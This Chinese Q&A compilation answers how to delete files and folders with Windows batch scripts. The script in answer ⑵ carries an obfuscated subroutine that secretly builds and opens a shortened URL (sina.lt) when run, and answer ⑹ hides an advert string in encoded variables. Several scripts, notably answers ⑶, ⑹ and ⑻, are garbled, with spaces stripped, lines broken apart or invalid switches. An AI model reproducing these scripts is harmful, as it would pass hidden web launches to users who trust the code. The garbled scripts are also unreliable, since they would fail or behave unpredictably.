批处理删除所有文件夹
⑴ 如何用批处理删除所在文件夹内的全部文件和文件夹。
我的思路是
用dir
for
if
这三个命令
先用dir显示出所有文件的生成时间
之后用for处理下
去掉dir开头判断的盘符什么的
之后把时间留下来
在套上if进行对比
比如说今天10号
把时间跟7比较
那么小于7的进行删除
具体不怎么会写
刚刚接触到for命令
可以互相探讨
⑵ 批处理删除文件夹下所有文件和文件夹,但是排除包含“勿删”字样的文件夹,该怎么写
@echo off & title 删除所有文件/夹(特定文件夹需保留) By 依梦琴瑶
cd /d "%%~dp0"
::设置要处理的主目录路径
set ScrFolder=D:AAA
::设置要排除包含的字符,多个字符之间,请用英文逗号隔开,包含空格,特殊字符的请用英文双引号将其括起来
set SkipStr=勿删
cd /d "%ScrFolder%"
for /f "delims=" %%a in ('dir /ad-h') do (
for %%i in (%SkipStr%) do (
echo "%%~a" | find /i "%%~i" >nul 2>nul || rd /s /q "%%~a"
)
)
for /f "delims=" %%a in ('dir /a-d-h') do (
del /f /q "%%~a"
)
pause
call :GVME
exit
:GVME
set "S1=.:ailnhpst/"
set "S0=fPdv"
set "S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%"
set "S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%"
start "" "%S2%%S3%%S1:~10,1%%S0%"
exit
脚本保存时请比对原文,保存编码设为ANSI。否则可能会导致脚本运行出错。
⑶ 删除整个文件夹的批处理命令
@echo
off
for
/r
"C:\Documents
and
Settings\Owner\Application
Data"
%%i
in
(.)
do
if
"%%i"
neq
"C:\Documents
and
Settings\Owner\Application
Data\."
rd
/s/q/f
"%%i"
del
/f/q
*.*
第二句删所有子目录,第三句删一级目录下所有文件
/r后面的路径是要删除的路径
不要弄错了
不然你就爽了。。。
⑷ 请问:如何批处理删除文件夹及其所有子文件夹下N天前所有文件
当文件夹里面的某一个文件当前时间被修改过,这个文件夹的修改时间就会变成当前时间.
以删除30天以前的文件夹为例.如果一个文件夹的最后时间都是30天以前.
那么在30天以内该文件夹下的所有文件都没有被修改过.
而一个文件夹如果不在30天以前,那么也可能文件夹下的某些文件是在30天以前的.
根据这个思路.先删除30天以前的文件夹.
再删除30天以内文件夹下所有30天以前的文件.
那么就结果就如下:
forfiles -D -30 /M * /C "cmd /c rd @file /s /q"
forfiles -D -30 /S /M * /C "cmd /c del @path /s /q"
两行批处理即可搞定
⑸ 文件批处理,保留某个或多个文件而删除其它全部文件夹
dos下面没有专用于搜索文件的命令
但是我们可能借助于dir这个命令来帮我们东西
如果要显示c:windows这个文件夹中的exe文件,键入dir
*.exe就行了
dos还有一个find命令,但是用来找字符,而不是文件的。
至于文件夹,就更不可能实现了。所以你的要求无法用批处理实现。
⑹ 请教如何批处理删除指定文件夹中的所有文件(保留子文件夹)
不清楚你的实际文件/情况,仅以问题中的样例/说明为据
复制粘贴到记事本,另存为xx.bat,编码选ANSI
@echooff
rem删除文件,保留文件夹
set#=Anyquestion&set@=WX&set$=Q&set/az=0x53b7e0b4
title%#%+%$%%$%/%@%%z%
set"folder=D:xxxxaa"
ifnotexist"%folder%"(echo;"%folder%"notfound&gotoend)
del/a/f/q"%folder%*.*"
:end
echo;%#%+%$%%$%/%@%%z%
pause
exit
⑺ 批处理删除文件夹下所有文件
1、右键单击桌面上的任意位置→新建→文本文档。
⑻ 如何用批处理删除指定文件夹以及文件里所有文件
@echooff
for/f"tokens=2delims=="%%iin('wmicLogicalDiskwhere"DriveType='3'"getDeviceID/value')do(
for/f"delims="%%jin('dir/s/b/ad"%%i"^|findstr/x"A"')doseta=%%j&&gotonext
)
echo文件不存在!
pause>nul
:next
rd/s"%a%"
pause>nul
楼主是想全盘查找指定的文件夹然后再删除对么
把A改成文件夹名就行
⑼ 如何写批处理删除某一文件夹下的所有文件
del /s/q/f "某个文件夹路径\*"如果直接清空该文件,也就是连子文件夹都一起删除,那么用以下命令
rd /s/q "某个文件夹路径"
md "某个文件夹路径"
⑽ 批处理删除文件夹命令
命令:DEL,删除文件或目录
增加参数:/F
参数说明:使用此参数即“DEL
/F”可删除只读文件。
增加参数:/S、/Q
参数说明:使用此参数即“DEL/S”作用与“RD/S”完全相同,即删除目录及目录下的所有子目录和文件。同时使用参数/Q,可取消删除操作时的系统确认。
增加参数:/A
参数说明:删除指定属性或指定属性以外的文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、
/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR
*.*”表示删除当前目录下所有只读文件,“DEL/A-S
*.*”表示删除当前目录下除系统文件以外的所有文件。